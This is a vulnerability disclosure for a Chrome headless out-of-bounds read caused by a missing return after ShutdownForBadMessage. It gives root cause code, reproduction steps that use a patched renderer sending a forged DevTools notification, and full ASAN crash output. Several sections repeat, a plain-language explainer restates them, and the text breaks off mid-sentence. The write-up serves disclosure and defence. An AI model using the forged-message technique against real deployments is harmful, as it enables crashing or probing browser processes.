Out of bounds read in Headless (CVE-2026-10017)
A missing return after ShutdownForBadMessage in SimpleDevToolsProtocolClient allows a compromised renderer to trigger an out-of-bounds read on the browser process main thread. An attacker could cause a crash or potentially read memory by sending a forged DevTools notification with an unmatched id.
c6eed09fc8b174b0f3eebedcceb1e792 Follow
Originally disclosed on Chrome VRP
- Fix shipped in 39 days
Missing return after ShutdownForBadMessage in SimpleDevToolsProtocolClient leads to past-end OOB read in the browser process
Summary
A missing return statement after ShutdownForBadMessage in SimpleDevToolsProtocolClient::DispatchProtocolMessageTask allows a compromised renderer to trigger an out-of-bounds read on the browser process main thread. When the client receives a DevTools message whose JSON id field does not match any pending callback, it correctly identifies the situation as a bad message but fails to stop execution, falling through to dereference a past-end iterator on the pending_response_map_ flat_map. Because ShutdownForBadMessage only asynchronously terminates the renderer and does not halt the calling function, the subsequent std::move(it->second) reads memory beyond the backing vector of the map. The bug is reachable from a compromised renderer attached via DevTools in headless command mode (--dump-dom, --screenshot, or --print-to-pdf) on all desktop platforms. No GPU is required.
Bisect
Introducing Commit: 0394e41d758adca1673f2e9aa7f13bc18cbc1b5d
- Date: 2022-10-25
- Author: Peter Kvitek
- Review: https://chromium-review.googlesource.com/c/chromium/src/+/3943190
The vulnerable code has been present since the file was first added and has never been corrected.
Root Cause
The DevTools protocol stack validates responses at two separate layers using two independent identifiers. When the browser dispatches a command to a renderer, DevToolsSession tracks the command by its Mojo call_id in waiting_for_response_. Independently, SimpleDevToolsProtocolClient tracks the same command by the JSON id it placed in the protocol message, storing the callback in pending_response_map_. Responses returning from the renderer pass through DevToolsSession::DispatchProtocolResponse, which checks only the Mojo call_id, then forwards the opaque message body to the client. The client then extracts the JSON id and looks it up in its own map.
When the JSON id is not found, DispatchProtocolMessageTask enters the error branch, calls ShutdownForBadMessage, but does not return:
// components/devtools/simple_devtools_protocol_client/simple_devtools_protocol_client.cc
void SimpleDevToolsProtocolClient::DispatchProtocolMessageTask(
base::DictValue message) {
if (std::optional<int> id = message.FindInt(kId)) {
auto it = pending_response_map_.find(*id);
if (it == pending_response_map_.cend()) {
LOG(ERROR) << "Unexpected message id=" << *id;
agent_host_->GetProcessHost()->ShutdownForBadMessage(
content::RenderProcessHost::CrashReportMode::GENERATE_CRASH_DUMP);
// No return here. Execution continues.
}
ResponseCallback callback(std::move(it->second)); // OOB read
pending_response_map_.erase(it); // CHECK crash
std::move(callback).Run(std::move(message));
return;
}
// ...
}
ShutdownForBadMessage sends a termination signal to the renderer process and returns immediately; it does not terminate the current function, halt the browser thread, or throw. Control proceeds to std::move(it->second) with it still pointing to cend(). Because pending_response_map_ is a base::flat_map backed by a sorted std::vector, dereferencing cend() performs a read past the end of the vector's storage. The flat_tree::erase method that follows does contain CHECK(position != body_.end()), but this fires only after the memory safety violation has already occurred.
A compromised renderer can reach this code without needing to guess valid Mojo call_id values. The renderer holds a DevToolsSessionHost remote and can call DispatchProtocolNotification at any time. Unlike DispatchProtocolResponse, which validates the call_id against waiting_for_response_ before forwarding, DispatchProtocolNotification applies no such check:
// content/browser/devtools/devtools_session.cc
void DevToolsSession::DispatchProtocolNotification(
blink::mojom::DevToolsMessagePtr message,
blink::mojom::DevToolsSessionStatePtr updates) {
ApplySessionStateUpdates(std::move(updates));
DispatchProtocolResponseOrNotification(client_, agent_host_,
std::move(message));
}
It forwards the opaque message directly to client_->DispatchProtocolMessage. If the message contains an id field, SimpleDevToolsProtocolClient treats it as a response and enters the vulnerable lookup path. The renderer can therefore inject {"id":99999,"result":{}} as a notification, bypassing all transport-level validation, and trigger the OOB read in the browser process.
The attack surface is headless command mode. SimpleDevToolsProtocolClient is only instantiated by HeadlessCommandHandler, which is created when Chrome is launched with --dump-dom, --screenshot, or --print-to-pdf. These headless command-line flags see significant real-world adoption. The Chrome for Developers documentation promotes them as the primary built-in headless features. Docker images packaging headless Chrome for server-side use have accumulated substantial pull counts (zenika/alpine-chrome over 10 million pulls, browserless/chrome over 100 million pulls). The PHP package spatie/browsershot, whose v2 invoked the Chrome headless CLI directly, has over 32 million Packagist installs. Projects such as chromehtml2pdf position themselves as drop-in replacements for wkhtmltopdf using --print-to-pdf, and the official Chrome blog recommends --dump-dom as a zero-code server-side rendering solution (https://developer.chrome.com/blog/headless-chrome-ssr-js-sites). These flags are commonly used in CI pipelines, lightweight PDF generation services, and shell-based web scraping workflows where the target URL is attacker-controlled.
Reproduce
The vulnerability is platform-independent. The reproduction below uses Linux paths.
Apply the renderer-side patch that simulates a compromised renderer forging a DevTools notification with a mismatched id field.
cd ~/chromium/src
git apply issue_devtools_oob/patch.diff
Configure the ASAN build with the following out/asan-release/args.gn. If the build directory already exists with a suitable ASAN configuration, this step can be skipped.
is_asan = true
is_debug = false
is_component_build = true
Build Chrome.
autoninja -C out/asan-release chrome
Launch headless Chrome in dump-dom mode, pointing at the included PoC page or any URL.
ASAN_OPTIONS=detect_odr_violation=0 out/asan-release/chrome --headless --dump-dom issue_devtools_oob/poc.html
The patched renderer sends a forged DispatchProtocolNotification carrying {"id":99999,"result":{}} to the browser process. When SimpleDevToolsProtocolClient::DispatchProtocolMessageTask receives this message, it looks up id 99999 in its pending_response_map_, gets cend(), calls ShutdownForBadMessage without returning, and falls through to dereference the past-end iterator. ASAN reports a container-overflow READ of size 8 on the browser main thread (T0) and aborts. The full ASAN trace is in asan.log.
After verification, revert the patch with git checkout -- . to restore the tree to a clean state.
ASAN output:
==82459==ERROR: AddressSanitizer: container-overflow on address 0x7bc6485a1d78 at pc 0x555bcf39ef97 bp 0x7ffd1f229930 sp 0x7ffd1f229928
READ of size 8 at 0x7bc6485a1d78 thread T0 (chrome)
#0 0x555bcf39ef96 in simple_devtools_protocol_client::SimpleDevToolsProtocolClient::DispatchProtocolMessageTask(base::DictValue) base/memory/scoped_refptr.h:264:54
#1 0x555bcf3a10e7 in base::internal::Invoker<...>::RunImpl<...> base/functional/bind_internal.h:740:12
#2 0x7f96ccb61b59 in base::TaskAnnotator::RunTaskImpl(base::PendingTask&) base/functional/callback.h:155:12
#3 0x7f96ccbdc1d0 in base::sequence_manager::internal::ThreadControllerWithMessagePumpImpl::DoWorkImpl(base::LazyNow*) base/task/common/task_annotator.h:112:5
#4 0x7f96ccbdb1a6 in base::sequence_manager::internal::ThreadControllerWithMessagePumpImpl::DoWork() base/task/sequence_manager/thread_controller_with_message_pump_impl.cc:336:40
#5 0x7f96ccdb41c9 in base::MessagePumpGlib::Run(base::MessagePump::Delegate*) base/message_loop/message_pump_glib.cc:782:48
#6 0x7f96ccbdd823 in base::sequence_manager::internal::ThreadControllerWithMessagePumpImpl::Run(bool, base::TimeDelta) base/task/sequence_manager/thread_controller_with_message_pump_impl.cc:640:12
#7 0x7f96ccaccc72 in base::RunLoop::Run(base::Location const&) base/run_loop.cc:135:14
#8 0x7f96adee7d03 in content::BrowserMainLoop::RunMainMessageLoop() content/browser/browser_main_loop.cc:1103:18
#9 0x7f96adeeff76 in content::BrowserMainRunnerImpl::Run() content/browser/browser_main_runner_impl.cc:151:15
#10 0x7f96adedf1b5 in content::BrowserMain(content::MainFunctionParams) content/browser/browser_main.cc:32:28
#11 0x7f96b13bf745 in content::RunBrowserProcessMain(content::MainFunctionParams, content::ContentMainDelegate*) content/app/content_main_runner_impl.cc:696:10
#12 0x7f96b13c2e6d in content::ContentMainRunnerImpl::RunBrowser(content::MainFunctionParams, bool) content/app/content_main_runner_impl.cc:1320:10
#13 0x7f96b13c23c6 in content::ContentMainRunnerImpl::Run() content/app/content_main_runner_impl.cc:1150:12
#14 0x7f96b13bcae3 in content::RunContentProcess(content::ContentMainParams, content::ContentMainRunner*) content/app/content_main.cc:356:36
#15 0x7f96b13bce6a in content::ContentMain(content::ContentMainParams) content/app/content_main.cc:369:10
#16 0x555bc1218215 in ChromeMain chrome/app/chrome_main.cc:194:12
#17 0x7f9656e29d8f in __libc_start_call_main csu/../sysdeps/nptl/libc_start_call_main.h:58:16
0x7bc6485a1d78 is located 8 bytes inside of 32-byte region [0x7bc6485a1d70,0x7bc6485a1d90)
allocated by thread T0 (chrome) here:
#0 0x555bc12162bd in operator new(unsigned long)
#1 0x555bcf3a2431 in std::__Cr::vector<std::__Cr::pair<int, base::OnceCallback<void (base::DictValue)>>>::emplace<...>
#2 0x555bcf3a2029 in simple_devtools_protocol_client::SimpleDevToolsProtocolClient::SendCommand(...) components/devtools/simple_devtools_protocol_client/simple_devtools_protocol_client.cc:212:30
#3 0x7f96acfbf225 in headless::HeadlessCommandHandler::OnDevToolsProtocolExposed() components/headless/command_handler/headless_command_handler.cc:384:3
#4 0x7f96acfc1a23 in base::internal::Invoker<...>::RunOnce(...) base/functional/bind_internal.h:740:12
#5 0x555bcf39dc6e in simple_devtools_protocol_client::SimpleDevToolsProtocolClient::DispatchProtocolMessage(...) components/devtools/simple_devtools_protocol_client/simple_devtools_protocol_client.cc:113:7
SUMMARY: AddressSanitizer: container-overflow base/memory/scoped_refptr.h:264:54 in simple_devtools_protocol_client::SimpleDevToolsProtocolClient::DispatchProtocolMessageTask(base::DictValue)
Credit
Please use c6eed09fc8b174b0f3eebedcceb1e792 as the credit for this vulnerability. Thank you.
Context
Chrome's headless command mode is the built-in way to run the browser without a window and get a result back on stdout or on disk. It is selected by flags such as --dump-dom, --screenshot and --print-to-pdf, and it is widely used in CI pipelines, PDF generation services and shell-based scraping workflows.
Internally, that mode is driven by HeadlessCommandHandler, which is the only component that instantiates SimpleDevToolsProtocolClient. The client speaks the DevTools protocol to a renderer: it sends commands and keeps a map of callbacks waiting for the matching responses. The bug in this report is in that bookkeeping: a response whose JSON id does not match any pending command is detected as a bad message, but the function does not stop, and it reads past the end of the map's backing storage in the browser process.
The issue is tracked as CVE-2026-10017, an out-of-bounds read in Headless, rated medium severity, with a bounty of 3000.00 USD under the Chrome VRP. It was disclosed on 2026-05-27.
Setup
The vulnerability is platform-independent; the reproduction uses Linux paths. The researcher built Chrome with AddressSanitizer and applied a renderer-side patch that simulates a compromised renderer forging a DevTools notification with a mismatched id field.
The build configuration in out/asan-release/args.gn is:
is_asan = true
is_debug = false
is_component_build = true
If a suitable ASAN build directory already exists, this step can be skipped. The PoC consists of the patch (issue_devtools_oob/patch.diff) and a page (issue_devtools_oob/poc.html).
Finding it
The researcher traced how DevTools responses are validated. Two independent identifiers are involved: the Mojo call_id tracked by DevToolsSession in waiting_for_response_, and the JSON id placed in the protocol message and tracked by SimpleDevToolsProtocolClient in pending_response_map_. Responses pass through DevToolsSession::DispatchProtocolResponse, which checks only the Mojo call_id and then forwards the opaque body to the client, which extracts the JSON id and looks it up in its own map.
In DispatchProtocolMessageTask, the not-found branch logs the unexpected id and calls ShutdownForBadMessage, but there is no return. Execution falls through to std::move(it->second) with it equal to cend(). Because pending_response_map_ is a base::flat_map backed by a sorted std::vector, that dereference reads past the end of the vector's storage. The following flat_tree::erase does contain CHECK(position != body_.end()), but it fires only after the memory safety violation has already happened.
The researcher also noticed that a compromised renderer does not need to guess valid Mojo call_id values. The renderer holds a DevToolsSessionHost remote and can call DispatchProtocolNotification at any time. Unlike DispatchProtocolResponse, that path applies no check against waiting_for_response_ before forwarding the message to the client. If the message contains an id field, the client treats it as a response and enters the vulnerable lookup path.
Exploitation
Step 1: Apply the renderer-side patch
cd ~/chromium/src
git apply issue_devtools_oob/patch.diff
The patch makes the renderer send a forged DispatchProtocolNotification carrying {"id":99999,"result":{}} to the browser process, simulating a compromised renderer.
Step 2: Build Chrome with ASAN
autoninja -C out/asan-release chrome
This produces the instrumented browser used to observe the out-of-bounds read.
Step 3: Launch headless Chrome in dump-dom mode
ASAN_OPTIONS=detect_odr_violation=0 out/asan-release/chrome --headless --dump-dom issue_devtools_oob/poc.html
The --dump-dom flag selects headless command mode, which creates HeadlessCommandHandler and therefore SimpleDevToolsProtocolClient. The PoC page can be replaced with any URL.
Step 4: Observe the crash
When DispatchProtocolMessageTask receives the forged message, it looks up id 99999 in pending_response_map_, gets cend(), calls ShutdownForBadMessage without returning, and falls through to dereference the past-end iterator. ASAN reports a container-overflow READ of size 8 on the browser main thread (T0) and aborts. The full trace is written to asan.log:
==82459==ERROR: AddressSanitizer: container-overflow on address 0x7bc6485a1d78 at pc 0x555bcf39ef97 bp 0x7ffd1f229930 sp 0x7ffd1f229928
READ of size 8 at 0x7bc6485a1d78 thread T0 (chrome)
#0 0x555bcf39ef96 in simple_devtools_protocol_client::SimpleDevToolsProtocolClient::DispatchProtocolMessageTask(base::DictValue) base/memory/scoped_refptr.h:264:54
#1 0x555bcf3a10e7 in base::internal::Invoker<...>::RunImpl<...> base/functional/bind_internal.h:740:12
#2 0x7f96ccb61b59 in base::TaskAnnotator::RunTaskImpl(base::PendingTask&) base/functional/callback.h:155:12
#3 0x7f96ccbdc1d0 in base::sequence_manager::internal::ThreadControllerWithMessagePumpImpl::DoWorkImpl(base::LazyNow*) base/task/common/task_annotator.h:112:5
#4 0x7f96ccbdb1a6 in base::sequence_manager::internal::ThreadControllerWithMessagePumpImpl::DoWork() base/task/sequence_manager/thread_controller_with_message_pump_impl.cc:336:40
#5 0x7f96ccdb41c9 in base::MessagePumpGlib::Run(base::MessagePump::Delegate*) base/message_loop/message_pump_glib.cc:782:48
#6 0x7f96ccbdd823 in base::sequence_manager::internal::ThreadControllerWithMessagePumpImpl::Run(bool, base::TimeDelta) base/task/sequence_manager/thread_controller_with_message_pump_impl.cc:640:12
#7 0x7f96ccaccc72 in base::RunLoop::Run(base::Location const&) base/run_loop.cc:135:14
#8 0x7f96adee7d03 in content::BrowserMainLoop::RunMainMessageLoop() content/browser/browser_main_loop.cc:1103:18
#9 0x7f96adeeff76 in content::BrowserMainRunnerImpl::Run() content/browser/browser_main_runner_impl.cc:151:15
#10 0x7f96adedf1b5 in content::BrowserMain(content::MainFunctionParams) content/browser/browser_main.cc:32:28
#11 0x7f96b13bf745 in content::RunBrowserProcessMain(content::MainFunctionParams, content::ContentMainDelegate*) content/app/content_main_runner_impl.cc:696:10
#12 0x7f96b13c2e6d in content::ContentMainRunnerImpl::RunBrowser(content::MainFunctionParams, bool) content/app/content_main_runner_impl.cc:1320:10
#13 0x7f96b13c23c6 in content::ContentMainRunnerImpl::Run() content/app/content_main_runner_impl.cc:1150:12
#14 0x7f96b13bcae3 in content::RunContentProcess(content::ContentMainParams, content::ContentMainRunner*) content/app/content_main.cc:356:36
#15 0x7f96b13bce6a in content::ContentMain(content::ContentMainParams) content/app/content_main.cc:369:10
#16 0x555bc1218215 in ChromeMain chrome/app/chrome_main.cc:194:12
#17 0x7f9656e29d8f in __libc_start_call_main csu/../sysdeps/nptl/libc_start_call_main.h:58:16
0x7bc6485a1d78 is located 8 bytes inside of 32-byte region [0x7bc6485a1d70,0x7bc6485a1d90)
allocated by thread T0 (chrome) here:
#0 0x555bc12162bd in operator new(unsigned long)
#1 0x555bcf3a2431 in std::__Cr::vector<std::__Cr::pair<int, base::OnceCallback<void (base::DictValue)>>>::emplace<...>
#2 0x555bcf3a2029 in simple_devtools_protocol_client::SimpleDevToolsProtocolClient::SendCommand(...) components/devtools/simple_devtools_protocol_client/simple_devtools_protocol_client.cc:212:30
#3 0x7f96acfbf225 in headless::HeadlessCommandHandler::OnDevToolsProtocolExposed() components/headless/command_handler/headless_command_handler.cc:384:3
#4 0x7f96acfc1a23 in base::internal::Invoker<...>::RunOnce(...) base/functional/bind_internal.h:740:12
#5 0x555bcf39dc6e in simple_devtools_protocol_client::SimpleDevToolsProtocolClient::DispatchProtocolMessage(...) components/devtools/simple_devtools_protocol_client/simple_devtools_protocol_client.cc:113:7
SUMMARY: AddressSanitizer: container-overflow base/memory/scoped_refptr.h:264:54 in simple_devtools_protocol_client::SimpleDevToolsProtocolClient::DispatchProtocolMessageTask(base::DictValue)
The top frame is the dereference in DispatchProtocolMessageTask; the allocation stack shows the map's backing vector being populated by SendCommand from HeadlessCommandHandler::OnDevToolsProtocolExposed.
Step 5: Restore the tree
git checkout -- .
This reverts the patch and returns the source tree to a clean state.
Root cause
The vulnerable function is:
// components/devtools/simple_devtools_protocol_client/simple_devtools_protocol_client.cc
void SimpleDevToolsProtocolClient::DispatchProtocolMessageTask(
base::DictValue message) {
if (std::optional<int> id = message.FindInt(kId)) {
auto it = pending_response_map_.find(*id);
if (it == pending_response_map_.cend()) {
LOG(ERROR) << "Unexpected message id=" << *id;
agent_host_->GetProcessHost()->ShutdownForBadMessage(
content::RenderProcessHost::CrashReportMode::GENERATE_CRASH_DUMP);
// No return here. Execution continues.
}
ResponseCallback callback(std::move(it->second)); // OOB read
pending_response_map_.erase(it); // CHECK crash
std::move(callback).Run(std::move(message));
return;
}
// ...
}
ShutdownForBadMessage sends a termination signal to the renderer process and returns immediately. It does not terminate the current function, halt the browser thread, or throw. Control therefore proceeds to std::move(it->second) with it still pointing to cend(), which reads past the end of the vector's storage. The CHECK inside flat_tree::erase would catch the invalid position, but only after the read has already occurred.
The second half of the root cause is the missing validation on the notification path:
// content/browser/devtools/devtools_session.cc
void DevToolsSession::DispatchProtocolNotification(
blink::mojom::DevToolsMessagePtr message,
blink::mojom::DevToolsSessionStatePtr updates) {
ApplySessionStateUpdates(std::move(updates));
DispatchProtocolResponseOrNotification(client_, agent_host_,
std::move(message));
}
This forwards the opaque message directly to client_->DispatchProtocolMessage. The renderer can therefore inject {"id":99999,"result":{}} as a notification, bypassing all transport-level validation, and trigger the OOB read in the browser process.
The vulnerable code has been present since the file was first added and has never been corrected. The introducing commit is [redacted] (2022-10-25, author Peter Kvitek, review https://chromium-review.googlesource.com/c/chromium/src/+/3943190).
Impact
A compromised renderer can trigger an out-of-bounds read on the browser process main thread. The attack surface is headless command mode: SimpleDevToolsProtocolClient is only instantiated by HeadlessCommandHandler, which is created when Chrome is launched with --dump-dom, --screenshot or --print-to-pdf. No GPU is required, and the bug is reachable on all desktop platforms.
These flags see significant real-world adoption. The Chrome for Developers documentation promotes them as the primary built-in headless features. Docker images packaging headless Chrome for server-side use have accumulated substantial pull counts (zenika/alpine-chrome over 10 million pulls, browserless/chrome over 100 million pulls). The PHP package spatie/browsershot, whose v2 invoked the Chrome headless CLI directly, has over 32 million Packagist installs. Projects such as chromehtml2pdf position themselves as drop-in replacements for wkhtmltopdf using --print-to-pdf, and the official Chrome blog recommends --dump-dom as a zero-code server-side rendering solution (https://developer.chrome.com/blog/headless-chrome-ssr-js-sites). These flags are commonly used in CI pipelines, lightweight PDF generation services and shell-based web scraping workflows where the target URL is attacker-controlled.
The report classifies the weakness as an out-of-bounds read and the severity as medium. The platform records a bounty of 3000.00 USD.
Fix
The report does not describe a fix. The obvious correction, consistent with the root cause, is to return immediately after ShutdownForBadMessage in the not-found branch so that execution never reaches the dereference of cend(). Whether the notification path should also reject messages carrying an id field is not stated in the report.
Variants to test
- Other notification handlers that forward opaque messages. Look for
DispatchProtocolNotification-style entry points that pass a message body to a client without checking it against a pending-request table. A positive result is a client that treats a notification containing anidas a response. - Other error branches that call a shutdown helper without returning. Search for
ShutdownForBadMessageand similar termination helpers followed by code that uses the value that failed validation. A positive result is a path where the invalid iterator or value is dereferenced after the helper returns. - Other flat_map lookups that fall through on
cend(). Grep forfind(onbase::flat_mapfollowed by acend()comparison whose branch does not end inreturn,breakorcontinue. A positive result is a dereference of the past-end iterator, visible under ASAN as a container-overflow. - Other headless command entry points. Check whether components other than
HeadlessCommandHandlerinstantiate protocol clients in command mode, and whether they share the same response bookkeeping. A positive result is a second client reachable from a renderer with the same missing-return pattern.
What happened, in plain words
Chrome can run without a visible window. This is called headless mode, and it is used by servers, build pipelines and scripts to turn web pages into files: a screenshot, a PDF, or a dump of the page's HTML. One of the ways to use it is to start Chrome from a terminal with a flag such as --dump-dom, --screenshot or --print-to-pdf.
When Chrome runs that way, the browser process (the part that manages windows, tabs and child processes) talks to a renderer process (the part that actually loads and draws a web page). They talk using a protocol called DevTools, the same protocol that the Chrome developer tools use. The browser sends a command to the renderer and keeps a note of a function to call when the answer comes back. That note is stored in a small table, keyed by a number called an id.
This report describes a bug in that bookkeeping. If the renderer sends back a message with an id that is not in the table, the browser correctly notices that something is wrong and asks for the renderer to be shut down. But the function that does this does not stop. It carries on and reads from the table at a position that does not exist, just past the end of the table's memory. That is an out-of-bounds read: reading memory that the program does not own. The read happens in the browser process, on its main thread, and the browser then crashes.
The person who can trigger this is a compromised renderer, meaning a renderer that an attacker has already managed to take over, for example by exploiting a separate bug in a web page. The renderer does not need to guess any secret numbers: it can send a message through a path that is not checked, and the browser will treat it as an answer to a command that was never sent.
The issue is tracked as CVE-2026-10017, an out-of-bounds read in Headless, rated medium severity, with a bounty of 3000.00 USD under the Chrome VRP. It was disclosed on 2026-05-27.
Context
Chrome's headless command mode is the built-in way to run the browser without a window and get a result back on stdout (the terminal output) or on disk. It is selected by flags such as --dump-dom, --screenshot and --print-to-pdf, and it is widely used in CI pipelines (automated build and test systems), PDF generation services and shell-based scraping workflows.
Internally, that mode is driven by HeadlessCommandHandler, which is the only component that instantiates SimpleDevToolsProtocolClient. The client speaks the DevTools protocol to a renderer: it sends commands and keeps a map of callbacks waiting for the matching responses. The bug in this report is in that bookkeeping: a response whose JSON id does not match any pending command is detected as a bad message, but the function does not stop, and it reads past the end of the map's backing storage in the browser process.
A few words before we go further. A process is a running program with its own memory; Chrome splits itself into several processes so that a problem in one does not automatically damage the others. A renderer is the process that loads and draws a web page. The browser process is the parent process that coordinates everything. A callback is a function you hand over to be called later, when something happens. A map (here, base::flat_map) is a lookup table that stores pairs of a key and a value; this one is backed by a sorted array (a std::vector), so looking things up means searching inside that array. An iterator is a pointer-like object that marks a position in a container; cend() means "the position just past the last element", which is a valid position to compare against but not a valid position to read from.
Setup
The vulnerability is platform-independent; the reproduction uses Linux paths. The researcher built Chrome with AddressSanitizer and applied a renderer-side patch that simulates a compromised renderer forging a DevTools notification with a mismatched id field.
AddressSanitizer, usually shortened to ASAN, is a tool built into the compiler that adds checks around memory accesses. When a program reads or writes memory it should not, ASAN notices and prints a detailed report instead of letting the program continue silently. It is a debugging aid, not something a normal user runs.
The build configuration in out/asan-release/args.gn is:
is_asan = true
is_debug = false
is_component_build = true
Line by line:
is_asan = trueturns on AddressSanitizer for this build, so memory mistakes are detected and reported.is_debug = falsebuilds a release-style browser rather than a debug build.is_component_build = truebuilds Chrome as many separate shared libraries instead of one huge binary.
If a suitable ASAN build directory already exists, this step can be skipped. The PoC (proof of concept, the small set of files that demonstrates the bug) consists of the patch (issue_devtools_oob/patch.diff) and a page (issue_devtools_oob/poc.html).
Finding it
The researcher traced how DevTools responses are validated. Two independent identifiers are involved: the Mojo call_id tracked by DevToolsSession in waiting_for_response_, and the JSON id placed in the protocol message and tracked by SimpleDevToolsProtocolClient in pending_response_map_.
Mojo is Chrome's internal system for sending messages between processes. Every message sent over Mojo can carry a call_id, a number used to match a reply to the request that caused it. JSON is a text format for structured data, made of objects like {"id": 5, "result": {}}. So the same command is tracked twice, under two different numbers: once by the Mojo layer and once by the JSON layer. That duplication is the heart of the problem.
Responses pass through DevToolsSession::DispatchProtocolResponse, which checks only the Mojo call_id and then forwards the opaque body to the client, which extracts the JSON id and looks it up in its own map. "Opaque" here means the DevTools session does not look inside the message body; it just passes it along.
In DispatchProtocolMessageTask, the not-found branch logs the unexpected id and calls ShutdownForBadMessage, but there is no return. Execution falls through to std::move(it->second) with it equal to cend(). Because pending_response_map_ is a base::flat_map backed by a sorted std::vector, that dereference reads past the end of the vector's storage. The following flat_tree::erase does contain CHECK(position != body_.end()), but it fires only after the memory safety violation has already happened.
A CHECK is an assertion: a line that deliberately crashes the program if a condition is false, used to catch programming mistakes early. Here the check is in the wrong place in the sequence: by the time it runs, the bad read has already happened.
The researcher also noticed that a compromised renderer does not need to guess valid Mojo call_id values. The renderer holds a DevToolsSessionHost remote and can call DispatchProtocolNotification at any time. A "remote" is a handle that lets one process call functions in another as if they were local. Unlike DispatchProtocolResponse, that path applies no check against waiting_for_response_ before forwarding the message to the client. If the message contains an id field, the client treats it as a response and enters the vulnerable lookup path.
Exploitation
Step 1: Apply the renderer-side patch
cd ~/chromium/src
git apply issue_devtools_oob/patch.diff
Line by line:
cd ~/chromium/srcmoves the terminal into the Chromium source directory, so the following commands act on the right files.git apply issue_devtools_oob/patch.diffapplies a patch file, a text file describing changes to source code. This particular patch changes the renderer so that it behaves like a compromised one: it sends a forgedDispatchProtocolNotificationcarrying{"id":99999,"result":{}}to the browser process.
The patch makes the renderer send a forged DispatchProtocolNotification carrying {"id":99999,"result":{}} to the browser process, simulating a compromised renderer.
Step 2: Build Chrome with ASAN
autoninja -C out/asan-release chrome
Line by line:
autoninjais Chrome's build tool wrapper. It reads the build configuration and runs the compiler for the parts that changed.-C out/asan-releasetells it to use the build directoryout/asan-release, which is where theargs.gnsettings above live.chromeis the build target: the browser executable itself.
This produces the instrumented browser used to observe the out-of-bounds read.
Step 3: Launch headless Chrome in dump-dom mode
ASAN_OPTIONS=detect_odr_violation=0 out/asan-release/chrome --headless --dump-dom issue_devtools_oob/poc.html
Line by line:
ASAN_OPTIONS=detect_odr_violation=0sets an environment variable for this one command.out/asan-release/chromeis the browser we just built.--headlessruns it without a visible window.--dump-domselects headless command mode.issue_devtools_oob/poc.htmlis the page to load. The PoC page can be replaced with any URL.
The --dump-dom flag selects headless command mode, which creates HeadlessCommandHandler and therefore SimpleDevToolsProtocolClient. That is why this flag matters: it is one of the flags that create the vulnerable client.
Step 4: Observe the crash
When DispatchProtocolMessageTask receives the forged message, it looks up id 99999 in pending_response_map_, gets cend(), calls ShutdownForBadMessage without returning, and falls through to dereference the past-end iterator. ASAN reports a container-overflow READ of size 8 on the browser main thread (T0) and aborts. The full trace is written to asan.log:
==82459==ERROR: AddressSanitizer: container-overflow on address 0x7bc6485a1d78 at pc 0x555bcf39ef97 bp 0x7ffd1f229930 sp 0x7ffd1f229928
READ of size 8 at 0x7bc6485a1d78 thread T0 (chrome)
#0 0x555bcf39ef96 in simple_devtools_protocol_client::SimpleDevToolsProtocolClient::DispatchProtocolMessageTask(base::DictValue) base/memory/scoped_refptr.h:264:54
#1 0x555bcf3a10e7 in base::internal::Invoker<...>::RunImpl<...> base/functional/bind_internal.h:740:12
#2 0x7f96ccb61b59 in base::TaskAnnotator::RunTaskImpl(base::PendingTask&) base/functional/callback.h:155:12
#3 0x7f96ccbdc1d0 in base::sequence_manager::internal::ThreadControllerWithMessagePumpImpl::DoWorkImpl(base::LazyNow*) base/task/common/task_annotator.h:112:5
#4 0x7f96ccbdb1a6 in base::sequence_manager::internal::ThreadControllerWithMessagePumpImpl::DoWork() base/task/sequence_manager/thread_controller_with_message_pump_impl.cc:336:40
#5 0x7f96ccdb41c9 in base::MessagePumpGlib::Run(base::MessagePump::Delegate*) base/message_loop/message_pump_glib.cc:782:48
#6 0x7f96ccbdd823 in base::sequence_manager::internal::ThreadControllerWithMessagePumpImpl::Run(bool, base::TimeDelta) base/task/sequence_manager/thread_controller_with_message_pump_impl.cc:640:12
#7 0x7f96ccaccc72 in base::RunLoop::Run(base::Location const&) base/run_loop.cc:135:14
#8 0x7f96adee7d03 in content::BrowserMainLoop::RunMainMessageLoop() content/browser/browser_main_loop.cc:1103:18
#9 0x7f96adeeff76 in content::BrowserMainRunnerImpl::Run() content/browser/browser_main_runner_impl.cc:151:15
#10 0x7f96adedf1b5 in content::BrowserMain(content::MainFunctionParams) content/browser/browser_main.cc:32:28
#11 0x7f96b13bf745 in content::RunBrowserProcessMain(content::MainFunctionParams, content::ContentMainDelegate*) content/app/content_main_runner_impl.cc:696:10
#12 0x7f96b13c2e6d in content::ContentMainRunnerImpl::RunBrowser(content::MainFunctionParams, bool) content/app/content_main_runner_impl.cc:1320:10
#13 0x7f96b13c23c6 in content::ContentMainRunnerImpl::Run() content/app/content_main_runner_impl.cc:1150:12
#14 0x7f96b13bcae3 in content::RunContentProcess(content::ContentMainParams, content::ContentMainRunner*) content/app/content_main.cc:356:36
#15 0x7f96b13bce6a in content::ContentMain(content::ContentMainParams) content/app/content_main.cc:369:10
#16 0x555bc1218215 in ChromeMain chrome/app/chrome_main.cc:194:12
#17 0x7f9656e29d8f in __libc_start_call_main csu/../sysdeps/nptl/libc_start_call_main.h:58:16
0x7bc6485a1d78 is located 8 bytes inside of 32-byte region [0x7bc6485a1d70,0x7bc6485a1d90)
allocated by thread T0 (chrome) here:
#0 0x555bc12162bd in operator new(unsigned long)
#1 0x555bcf3a2431 in std::__Cr::vector<std::__Cr::pair<int, base::OnceCallback<void (base::DictValue)>>>::emplace<...>
#2 0x555bcf3a2029 in simple_devtools_protocol_client::SimpleDevToolsProtocolClient::SendCommand(...) components/devtools/simple_devtools_protocol_client/simple_devtools_protocol_client.cc:212:30
#3 0x7f96acfbf225 in headless::HeadlessCommandHandler::OnDevToolsProtocolExposed() components/headless/command_handler/headless_command_handler.cc:384:3
#4 0x7f96acfc1a23 in base::internal::Invoker<...>::RunOnce(...) base/functional/bind_internal.h:740:12
#5 0x555bcf39dc6e in simple_devtools_protocol_client::SimpleDevToolsProtocolClient::DispatchProtocolMessage(...) components/devtools/simple_devtools_protocol_client/simple_devtools_protocol_client.cc:113:7
SUMMARY: AddressSanitizer: container-overflow base/memory/scoped_refptr.h:264:54 in simple_devtools_protocol_client::SimpleDevToolsProtocolClient::DispatchProtocolMessageTask(base::DictValue)
How to read this output:
- The first line says ASAN found a
container-overflow. That is ASAN's name for touching memory just outside a container's allocated region, such as one element past the end of an array. READ of size 8means the program tried to read 8 bytes (the size of a pointer on a 64-bit machine) from an address it should not touch.thread T0 (chrome)says this happened on the main thread of the browser process, not in a background worker.- The numbered lines starting with
